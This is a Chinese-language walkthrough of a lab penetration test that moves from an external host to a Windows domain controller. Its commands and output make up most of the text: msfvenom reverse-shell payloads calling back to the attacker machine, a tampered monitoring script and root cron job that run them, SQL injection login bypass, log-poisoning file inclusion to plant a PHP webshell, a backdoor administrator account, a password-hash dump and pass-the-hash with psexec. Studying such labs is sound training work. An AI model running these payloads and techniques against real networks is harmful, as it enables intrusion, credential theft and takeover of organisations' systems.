一個完整的內網滲透是什麼樣子的

語言: CN / TW / HK

0x00 前言

今天這篇文章將試圖呈現一個完整的內網滲透過程。文章略長,如果感興趣的話,請耐心閱讀!

0x01 案例分析

實驗環境:

  • 目標環境:10.0.0.0/24, 10.0.1.0/24

  • 攻擊主機:10.0.0.5 (Kali), 10.0.0.7 (Windows)

滲透過程:

基本的主機探測:

root@kali:~# nmap -sn 10.0.0.0/24 -oG online.txt

root@kali:~# cat online.txt | grep -i up

Host: 10.0.0.1 () Status: Up

Host: 10.0.0.2 () Status: Up

Host: 10.0.0.7 () Status: Up

Host: 10.0.0.9 () Status: Up

Host: 10.0.0.11 () Status: Up

Host: 10.0.0.5 () Status: Up

Nmap done at Wed May 30 06:10:17 2018 -- 256 IP addresses (6 hosts up) scanned in 1.83 seconds

任意選取其中的一個online的IP(如:10.0.0.9)進一步探測:

root@kali:~# nmap -sV -A -O 10.0.0.9

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:12 UTC

Nmap scan report for 10.0.0.9

Host is up (0.00048s latency).

Not shown: 990 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds

3389/tcp open ms-wbt-server Microsoft Terminal Service

| ssl-cert: Subject: commonName=Monitor

| Not valid before: 2018-05-27T07:03:14

|_Not valid after: 2018-11-26T07:03:14

|_ssl-date: 2018-05-30T06:14:01+00:00; +5s from scanner time.

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49158/tcp open msrpc Microsoft Windows RPC

49159/tcp open msrpc Microsoft Windows RPC

49165/tcp open msrpc Microsoft Windows RPC

MAC Address: 0A:14:2C:84:E9:D2 (Unknown)

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

...

Network Distance: 1 hop

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:

|_clock-skew: mean: 4s, deviation: 0s, median: 4s

|_nbstat: NetBIOS name: MONITOR, NetBIOS user: <unknown>, NetBIOS MAC: 0a:14:2c:84:e9:d2 (unknown)

| smb-os-discovery:

| OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)

| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1

| Computer name: Monitor

| NetBIOS computer name: MONITORx00

| Workgroup: WORKGROUPx00

|_ System time: 2018-05-30T06:14:01+00:00

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

| smb2-security-mode:

| 2.02:

|_ Message signing enabled but not required

| smb2-time:

| date: 2018-05-30 06:14:01

|_ start_date: 2018-05-30 04:32:09

從以上探測結果可以發現該主機是Windows 2008 R2且開放了SMB和RDP,繼續探測:

root@kali:~# nmap --script=/usr/share/nmap/scripts/smb-enum-shares.nse -p 445 10.0.0.9

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:16 UTC

Nmap scan report for 10.0.0.9

Host is up (0.00019s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

MAC Address: 0A:14:2C:84:E9:D2 (Unknown)

Host script results:

| smb-enum-shares:

| account_used: guest

| \10.0.0.9ADMIN$:

| Type: STYPE_DISKTREE_HIDDEN

| Comment: Remote Admin

| Anonymous access: <none>

| Current user access: <none>

| \10.0.0.9C$:

| Type: STYPE_DISKTREE_HIDDEN

| Comment: Default share

| Anonymous access: <none>

| Current user access: <none>

| \10.0.0.9IPC$:

| Type: STYPE_IPC_HIDDEN

| Comment: Remote IPC

| Anonymous access: READ

| Current user access: READ/WRITE

| \10.0.0.9Users:

| Type: STYPE_DISKTREE

| Comment:

| Anonymous access: <none>

| Current user access: READ

| \10.0.0.9print$:

| Type: STYPE_DISKTREE

| Comment: Printer Drivers

| Anonymous access: <none>

| Current user access: READ

| \10.0.0.9share:

| Type: STYPE_DISKTREE

| Comment:

| Anonymous access: <none>

|_ Current user access: READ/WRITE

此時,我們發現該主機存在一個可讀寫的share folder \10.0.0.9share:

root@kali:~# smbclient //10.0.0.9/share -N

WARNING: The "syslog" option is deprecated

Try "help" to get a list of possible commands.

smb: > ls

. D 0 Wed May 30 06:16:59 2018

.. D 0 Wed May 30 06:16:59 2018

logs.txt A 39404 Wed May 30 06:19:20 2018

processMonitor.py A 576 Mon May 28 06:56:33 2018

7863807 blocks of size 4096. 1680653 blocks available

smb: >

為了進一步瞭解,登入我們用於滲透的另一臺Windows主機(10.0.0.7)。

image.png

發現,這個共享資料夾裡包含了一個定期監控執行程序的python指令碼。

import win32com.client

import datetime

def logging(context):

now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

f = open('c:sharelogs.txt', 'a')

f.write('{}: {}'.format(now,context))

f.close()

def process_monitor():

wmi=win32com.client.GetObject('winmgmts:')

for p in wmi.InstancesOf('win32_process'):

    logging("{}{}{}n".format(p.Name, p.Properties_('ProcessId'),

        int(p.Properties_('UserModeTime').Value)+int(p.Properties_('KernelModeTime').Value)))

if name == "main":

process_monitor()

由於該資料夾可讀寫,我們可以生成並放置一個meterpreter的payload,然後修改該python指令碼來執行它,這樣我們就可以得到一個meterpreter session了。

[email protected]:/var/www/html# msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.0.0.5 -f exe > s.exe

修改python指令碼如下:

import win32com.client

import datetime

from subprocess import call

def logging(context):

now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

f = open('c:sharelogs.txt', 'a')

f.write('{}: {}'.format(now,context))

f.close()

def process_monitor():

wmi=win32com.client.GetObject('winmgmts:')

for p in wmi.InstancesOf('win32_process'):

    logging("{}{}{}n".format(p.Name, p.Properties_('ProcessId'),

        int(p.Properties_('UserModeTime').Value)+int(p.Properties_('KernelModeTime').Value)))

if name == "main":

process_monitor()

call(["c:shares.exe"])

幾分鐘後,我們順利地獲得了一個meterpreter session了。

msf exploit(handler) > sessions

Active sessions

===============

Id Name Type Information Connection


2 meterpreter x64/windows MONITORAdministrator @ MONITOR 10.0.0.5:4444 -> 10.0.0.9:49536 (10.0.0.9)

meterpreter > getuid

Server username: MONITORAdministrator

meterpreter > sysinfo

Computer : MONITOR

OS : Windows 2008 R2 (Build 7601, Service Pack 1).

Architecture : x64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x64/windows

meterpreter > ipconfig

Interface 1

============

Name : Software Loopback Interface 1

Hardware MAC : 00:00:00:00:00:00

MTU : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11

============

Name : Microsoft Teredo Tunneling Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80::100:7f:fffe

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 13

============

Name : AWS PV Network Device #0

Hardware MAC : 0a:14:2c:84:e9:d2

MTU : 9001

IPv4 Address : 10.0.0.9

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::3053:3068:2bf6:272c

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 14

============

Name : Microsoft ISATAP Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80::5efe:a00:9

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 20

============

Name : AWS PV Network Device #1

Hardware MAC : 0a:17:b5:cb:d1:ac

MTU : 9001

IPv4 Address : 10.0.1.9

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::2189:c3cf:68e3:aab9

IPv6 Netmask : ffff:ffff:ffff:ffff::

同時,可以看出這個機器具有多個網絡卡且橫跨在2個網段中(10.0.0.9/24和10.0.1.9/24)。因此,我們也可以利用這個機器做跳板繼續滲透10.0.1.0/24這段裡的機器。

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.

[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Local subnet: 10.0.0.0/255.255.255.0

Local subnet: 10.0.1.0/255.255.255.0

meterpreter > background

[*] Backgrounding session 2...

msf exploit(handler) > route add 10.0.1.0 255.255.255.0 2

[*] Route added

msf exploit(handler) > route print

IPv4 Active Routing Table

=========================

Subnet Netmask Gateway


10.0.1.0 255.255.255.0 Session 2

[*] There are currently no IPv6 routes defined.

利用auxiliary/scanner/portscan/tcp去掃描10.0.1.0/24段,如下:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set RHOSTS 10.0.1.0/24

RHOSTS => 10.0.1.0/24

msf auxiliary(tcp) > set PORTS 22,80,3306,445,3389,139,1433

PORTS => 22,80,3306,445,3389,139,1433

msf auxiliary(tcp) > set threads 20

threads => 20

msf auxiliary(tcp) > run

[+] 10.0.1.7: - 10.0.1.7:445 - TCP OPEN

[+] 10.0.1.11: - 10.0.1.11:80 - TCP OPEN

[+] 10.0.1.9: - 10.0.1.9:445 - TCP OPEN

[+] 10.0.1.9: - 10.0.1.9:139 - TCP OPEN

[+] 10.0.1.11: - 10.0.1.11:22 - TCP OPEN

[+] 10.0.1.9: - 10.0.1.9:3389 - TCP OPEN

[+] 10.0.1.7: - 10.0.1.7:139 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:139 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:80 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:3389 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:3306 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:445 - TCP OPEN

我們任意選取其中的一臺機器(如:10.0.1.11),我們發現其開放了80和22埠。接下來,我們可以在session 2裡設定埠轉發,將攻擊機(10.0.0.5)上的8080埠轉發到目標機(10.0.1.7)上的80埠,方便我們後續的測試。

msf auxiliary(tcp) > sessions 2

[*] Starting interaction with 2...

meterpreter > portfwd add -l 8080 -p 80 -r 10.0.1.11

[*] Local TCP relay created: :8080 <-> 10.0.1.11:80

meterpreter > portfwd list

Active Port Forwards

====================

Index Local Remote Direction


1 0.0.0.0:8080 10.0.1.11:80 Forward

1 total active port forwards.

這時,我們再次登入我們的Windows滲透機器(10.0.0.7)來檢視一下這是個什麼網站。

image.png

經過測試發現,這個登入功能存在SQL Injection,可以通過以下的使用者名稱和密碼登入:

username: admin

password: ' or '1'='1

image.png

經過觀察發現,這個網站應該直接本地檔案包含了web伺服器的access_log,因此我們可以想到利用檔案包含漏洞來生成一個webshell,具體步驟如下:

1. 傳送一個包含webshell程式碼的HTTP請求使其被寫入到access_log裡, 如一個僅包含上傳功能的php小馬

image.png

2. 訪問http://10.0.0.5:8080/admin.php來檔案包含access_log使其中的php程式碼被執行,從獲取一個具備上傳功能的php小馬

image.png

3. 訪問http://10.0.0.5:8080/upload.php並上傳一個功能齊全的PHP webshell

image.png

4. 訪問http://10.0.0.5:8080/shell.php並輸入密碼qwer,則成功地獲取了一個webshell

image.png

利用webshell提供的功能我們發現這只是一個用於執行web service的低許可權的使用者(daemon),那麼接下來我們需要解決的問題就是本地提權到root許可權。

image.png

image.png

如上圖,我們找到了一個777許可權的root使用者所擁有的cronjob檔案/etc/cron.hourly/clean_up_access_log。看起來這個指令碼似乎是用於定期清理access_log的。因此,我們似乎可以利用它來獲得一個root許可權的meterpreter shell。

首先,生成一個Linux的meterpreter payload並通過webshell上傳到目標主機上並新增執行許可權;

[email protected]:~# msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf > root.elf

system('chmod +x /opt/lampp/htdocs/root.elf');

接著,修改/etc/cron.hourly/clean_up_access_log使其可以執行我們上傳的payload並等待cronjob的下次執行;

system("echo '/opt/lampp/htdocs/root.elf' >> /etc/cron.hourly/clean_up_access_log");

最後,我們成功地在目標機器(10.0.1.11)上獲得了一個root許可權的meterpreter session,如下:

msf exploit(handler) > use exploit/multi/handler

msf exploit(handler) > set payload linux/x64/meterpreter/bind_tcp

payload => linux/x64/meterpreter/bind_tcp

msf exploit(handler) > set RHOST 10.0.1.11

RHOST => 10.0.1.11

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description


Payload options (linux/x64/meterpreter/bind_tcp):

Name Current Setting Required Description


LPORT 4444 yes The listen port

RHOST 10.0.1.11 no The target address

Exploit target:

Id Name


0 Wildcard Target

msf exploit(handler) > run

[*] Started bind handler

[*] Sending stage (802416 bytes) to 10.0.1.11

[*] Meterpreter session 4 opened (10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444) at 2018-05-30 15:23:26 +0000

meterpreter > sysinfo

Computer : 10.0.1.11

OS : Ubuntu 16.04 (Linux 4.4.0-1060-aws)

Architecture : x64

Meterpreter : x64/linux

meterpreter > getuid

Server username: uid=0, gid=0, euid=0, egid=0

meterpreter > shell

Process 24394 created.

Channel 2 created.

id

uid=0(root) gid=0(root) groups=0(root)

ifconfig

eth0 Link encap:Ethernet HWaddr 0a:3a:ea:dc:8a:44

      inet addr:10.0.1.11  Bcast:10.0.1.255  Mask:255.255.255.0

      inet6 addr: fe80::83a:eaff:fedc:8a44/64 Scope:Link

      UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1

      RX packets:2703 errors:0 dropped:0 overruns:0 frame:0

      TX packets:2973 errors:0 dropped:0 overruns:0 carrier:0

      collisions:0 txqueuelen:1000

      RX bytes:1105355 (1.1 MB)  TX bytes:672700 (672.7 KB)

lo Link encap:Local Loopback

      inet addr:127.0.0.1  Mask:255.0.0.0

      inet6 addr: ::1/128 Scope:Host

      UP LOOPBACK RUNNING  MTU:65536  Metric:1

      RX packets:192 errors:0 dropped:0 overruns:0 frame:0

      TX packets:192 errors:0 dropped:0 overruns:0 carrier:0

      collisions:0 txqueuelen:1

      RX bytes:14456 (14.4 KB)  TX bytes:14456 (14.4 KB)

ls -l /root

total 4

-rw------- 1 root root 84 May 25 10:10 readme.txt

利用上面獲得的root許可權的meterpreter session,我意外的發現了一個有趣的檔案/root/readme.txt,其中包含了一個遠端FTP(10.0.1.26)的口令和密碼。

cat /root/readme.txt

Credentials for FTP:

既然拿到了這個資訊,我們不妨再次探測一下我們的下一個目標(10.0.1.26)。

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set RHOSTS 10.0.1.26

RHOSTS => 10.0.1.26

msf auxiliary(tcp) > set threads 50

threads => 50

msf auxiliary(tcp) > set PORTS 1-1025,1433,3306,3389

PORTS => 1-1025,1433,3306,3389

msf auxiliary(tcp) > run

[+] 10.0.1.26: - 10.0.1.26:21 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:80 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:139 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:135 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:445 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:443 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:3306 - TCP OPEN

[+] 10.0.1.26: - 10.0.1.26:3389 - TCP OPEN

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

果不其然,目標機(10.0.1.26)確實存在一個FTP站點。進入上面獲得的session 2,在目標機10.0.0.9(10.0.1.9)上新增一個管理員賬號:

msf auxiliary(tcp) > sessions 2

[*] Starting interaction with 2...

meterpreter > shell

Process 1116 created.

Channel 147 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:Windowssystem32>net user test [email protected] /add

net user test [email protected] /add

The command completed successfully.

C:Windowssystem32>net localgroup administrators test /add

net localgroup administrators test /add

The command completed successfully.

C:Windowssystem32>

接著RDP到目標主機10.0.0.9(10.0.1.9)上,並嘗試使用已經獲取的口令登入。

image.png

結果顯示,我們成功地登入了該FTP站點,且具備讀寫許可權。另外,我們還發現該FTP為目標機10.0.1.26上的一個web站點的根目錄。因此,我們可以通過該FTP輕鬆地上傳一個webshell.php檔案,如下:

image.png

有了webshell我們便可以上傳一個meterpreter payload來獲取一個功能強大的meterpreter session了。

msf auxiliary(tcp) > use exploit/multi/handler

msf exploit(handler) > set payload windows/x64/meterpreter/bind_tcp

payload => windows/x64/meterpreter/bind_tcp

msf exploit(handler) > set RHOST 10.0.1.26

RHOST => 10.0.1.26

msf exploit(handler) > set LPORT 4444

LPORT => 4444

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description


Payload options (windows/x64/meterpreter/bind_tcp):

Name Current Setting Required Description


EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)

LPORT 4444 yes The listen port

RHOST 10.0.1.26 no The target address

Exploit target:

Id Name


0 Wildcard Target

msf exploit(handler) > run

[*] Started bind handler

[*] Sending stage (205379 bytes) to 10.0.1.26

[*] Meterpreter session 5 opened (10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444) at 2018-05-31 02:08:05 +0000

meterpreter > sysinfo

Computer : IT-MANAGE-PC

OS : Windows 2008 R2 (Build 7601, Service Pack 1).

Architecture : x64

System Language : en_US

Domain : GBOX

Logged On Users : 1

Meterpreter : x64/windows

meterpreter > getuid

Server username: NT AUTHORITYSYSTEM

meterpreter > ifconfig

Interface 1

============

Name : Software Loopback Interface 1

Hardware MAC : 00:00:00:00:00:00

MTU : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11

============

Name : Microsoft Teredo Tunneling Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80::100:7f:fffe

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 13

============

Name : AWS PV Network Device #0

Hardware MAC : 0a:d9:e6:59:35:f0

MTU : 9001

IPv4 Address : 10.0.1.26

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::4171:a218:74ca:871f

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 14

============

Name : Microsoft ISATAP Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80::5efe:a00:11a

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

同時,我們發現目標機(10.0.1.26)是一個加入了GBOX域的機器,且DNS伺服器的IP是10.0.1.7:

meterpreter > shell

Process 4080 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:xampphtdocs>ipconfig -all

ipconfig -all

Windows IP Configuration

Host Name . . . . . . . . . . . . : IT-MANAGE-PC

Primary Dns Suffix . . . . . . . : gbox.com

Node Type . . . . . . . . . . . . : Hybrid

IP Routing Enabled. . . . . . . . : No

WINS Proxy Enabled. . . . . . . . : No

DNS Suffix Search List. . . . . . : us-west-2.ec2-utilities.amazonaws.com

                                   ec2.internal

                                   us-east-1.ec2-utilities.amazonaws.com

                                   compute-1.internal

                                   us-west-2.compute.internal

                                   gbox.com

Ethernet adapter Local Area Connection 3:

Connection-specific DNS Suffix . : us-west-2.compute.internal

Description . . . . . . . . . . . : AWS PV Network Device #0

Physical Address. . . . . . . . . : 0A-D9-E6-59-35-F0

DHCP Enabled. . . . . . . . . . . : Yes

Autoconfiguration Enabled . . . . : Yes

Link-local IPv6 Address . . . . . : fe80::4171:a218:74ca:871f%13(Preferred)

IPv4 Address. . . . . . . . . . . : 10.0.1.26(Preferred)

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Lease Obtained. . . . . . . . . . : Wednesday, May 30, 2018 4:32:21 AM

Lease Expires . . . . . . . . . . : Thursday, May 31, 2018 3:02:46 AM

Default Gateway . . . . . . . . . : 10.0.1.1

DHCP Server . . . . . . . . . . . : 10.0.1.1

DHCPv6 IAID . . . . . . . . . . . : 302649180

DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-22-9D-15-7F-0A-0F-5C-B0-05-5E

DNS Servers . . . . . . . . . . . : 10.0.1.7

NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter isatap.us-west-2.compute.internal:

Media State . . . . . . . . . . . : Media disconnected

Connection-specific DNS Suffix . : us-west-2.compute.internal

Description . . . . . . . . . . . : Microsoft ISATAP Adapter

Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0

DHCP Enabled. . . . . . . . . . . : No

Autoconfiguration Enabled . . . . : Yes

Tunnel adapter Local Area Connection* 11:

Media State . . . . . . . . . . . : Media disconnected

Connection-specific DNS Suffix . :

Description . . . . . . . . . . . : Microsoft Teredo Tunneling Adapter

Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0

DHCP Enabled. . . . . . . . . . . : No

Autoconfiguration Enabled . . . . : Yes

那麼接下來,我們的下一個目標就是IP為10.0.1.7的域控伺服器了。

經過一系列測試,發現目標機似乎只接受來自IP10.0.1.26(Session 5)的流量,因此我們需要先新增一個專門的路由使我們的攻擊機(10.0.0.5)流量可以抵達目標主機(10.0.1.7)。

msf exploit(psexec) > route add 10.0.1.7 255.255.255.255 5

msf exploit(psexec) > route print

IPv4 Active Routing Table

=========================

Subnet Netmask Gateway


10.0.1.0 255.255.255.0 Session 2

10.0.1.7 255.255.255.255 Session 5

[*] There are currently no IPv6 routes defined.

首先,蒐集利用hashdump命令收集一下主機10.0.1.26的所有密碼Hash:

msf exploit(handler) > sessions 5

[*] Starting interaction with 5...

meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:616463a26de99900462a713770e806ab:::

gamebox:1001:aad3b435b51404eeaad3b435b51404ee:4ea29bdfa3e99248ce57c9f29d114a6f:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

接著,我們可以嘗試使用Pass The Hash來測試一下我們的目標機(10.0.1.7),併成功地拿下了該域控伺服器。

msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting Required Description


RHOST 10.0.1.7 yes The target address

RPORT 445 yes The SMB service port (TCP)

SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing

SERVICE_DISPLAY_NAME no The service display name

SERVICE_NAME no The service name

SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share

SMBDomain gbox no The Windows domain to use for authentication

SMBPass aad3b435b51404eeaad3b435b51404ee:4ea29bdfa3e99248ce57c9f29d114a6f no The password for the specified username

SMBUser gamebox no The username to authenticate as

Payload options (windows/x64/meterpreter/bind_tcp):

Name Current Setting Required Description


EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)

LPORT 4444 yes The listen port

RHOST 10.0.1.7 no The target address

Exploit target:

Id Name


0 Automatic

msf exploit(psexec) > run

[*] 10.0.1.7:445 - Connecting to the server...

[*] Started bind handler

[*] 10.0.1.7:445 - Authenticating to 10.0.1.7:445|gbox as user 'gamebox'...

[*] 10.0.1.7:445 - Selecting PowerShell target

[*] 10.0.1.7:445 - Executing the payload...

[+] 10.0.1.7:445 - Service start timed out, OK if running a command or non-service executable...

[*] Sending stage (205379 bytes) to 10.0.1.7

[*] Meterpreter session 6 opened (10.0.0.5-1-10.0.0.9:0 -> 10.0.1.7:4444) at 2018-05-31 02:38:04 +0000

meterpreter > sysinfo

Computer : DC

OS : Windows 2008 R2 (Build 7601, Service Pack 1).

Architecture : x64

System Language : en_US

Domain : GBOX

Logged On Users : 1

Meterpreter : x64/windows

meterpreter > getuid

Server username: NT AUTHORITYSYSTEM

meterpreter > ifconfig

Interface 1

============

Name : Software Loopback Interface 1

Hardware MAC : 00:00:00:00:00:00

MTU : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11

============

Name : Microsoft Teredo Tunneling Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80::100:7f:fffe

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 13

============

Name : AWS PV Network Device #0

Hardware MAC : 0a:ee:ba:e9:01:22

MTU : 9001

IPv4 Address : 10.0.1.7

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::c907:5309:68a2:b1b8

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 14

============

Name : Microsoft ISATAP Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80::5efe:a00:107

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

至此,我們已經成功地拿下了所有實驗環境下的主機控制權限。

msf exploit(psexec) > sessions

Active sessions

===============

Id Name Type Information Connection


2 meterpreter x64/windows MONITORAdministrator @ MONITOR 10.0.0.5:4444 -> 10.0.0.9:51800 (10.0.0.9)

4 meterpreter x64/linux uid=0, gid=0, euid=0, egid=0 @ 10.0.1.11 10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444 (10.0.1.11)

5 meterpreter x64/windows NT AUTHORITYSYSTEM @ IT-MANAGE-PC 10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444 (10.0.1.26)

6 meterpreter x64/windows NT AUTHORITYSYSTEM @ DC 10.0.0.5-1-10.0.0.9:0 -> 10.0.1.7:4444 (10.0.1.7)

0x02 小結

本文重點介紹了一個相對完整的內網滲透過程(即:外網主機-內網主機-內網域內主機-內網域控伺服器)。當然,這只是個簡單的實驗環境,實際實戰中遇到的情況會比這複雜很多(比如:各種反病毒程式的bypass,內網反入侵系統的檢測的繞過等等),但是基本思路和方法都是類似和想通的。另外,因筆者水平有限,文中表達不當或者不正確的地方,也敬請諒解和指正。

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